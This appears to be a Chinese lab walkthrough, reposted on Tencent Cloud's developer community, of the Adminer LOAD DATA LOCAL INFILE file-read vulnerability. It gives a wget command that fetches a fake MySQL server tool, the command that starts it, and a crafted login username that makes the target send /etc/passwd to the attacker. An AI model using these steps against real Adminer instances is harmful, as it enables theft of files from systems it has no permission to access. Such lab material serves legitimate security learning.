
!quote 参考文档 https://app.nextcyber.cn/courses/42/tasks/583
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。
Adminer在 1.12.0 至 4.6.2 版本中,当用户通过其界面连接 MySQL 数据库时,未限制LOAD DATA LOCAL INFILE语句的使用。该语句本用于从本地文件加载数据到数据库表,但存在一个关键特性:若连接的是恶意 MySQL 服务器,服务器可反向要求客户端(即运行 Adminer 的靶机)读取自身本地文件,并将文件内容发送给恶意服务器。
具体来说,攻击者先搭建恶意 MySQL 服务器,再通过 Adminer 界面发起连接请求;Adminer 作为客户端响应恶意服务器的指令,读取靶机上的敏感文件(如/etc/passwd)并回传,最终导致文件泄露。
flowchart TD
A[攻击者] -->|1、搭建恶意MySQL服务器| B[恶意MySQL服务器<br/>(攻击机:10.132.1.111:3308)]
A -->|2、访问靶机Adminer界面| C[靶机Adminer<br/>(版本1.12.0-4.6.2)]
C -->|3、输入恶意服务器地址+特制用户名| B
B -->|4、发送LOAD DATA LOCAL指令| C
C -->|5、执行指令,读取本地文件| D[靶机敏感文件<br/>(如/etc/passwd)]
D -->|6、回传文件内容| B
B -->|7、攻击者查看获取的文件| A# 攻击机IP
10.132.1.111
# 靶机地址
10.22.202.151!NOTE EXP下载wget https://github.com/4ra1n/mysql-fake-server/releases/download/0.0.4/fake-mysql-cli-0.0.4.jar
java -jar fake-mysql-cli-0.0.4.jar -p 3308!success 启动成功截图
# 系统
MySQL
# 服务器
10.132.1.111:3308
# 用户名
fileread_/etc/passwd输入上述信息,点击“登录”,即可触发漏洞:

服务器打印的日志如下,我们可以看到,每次成功触发后,服务器同级目录fake-server-files下会存储下读取到的文件:

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。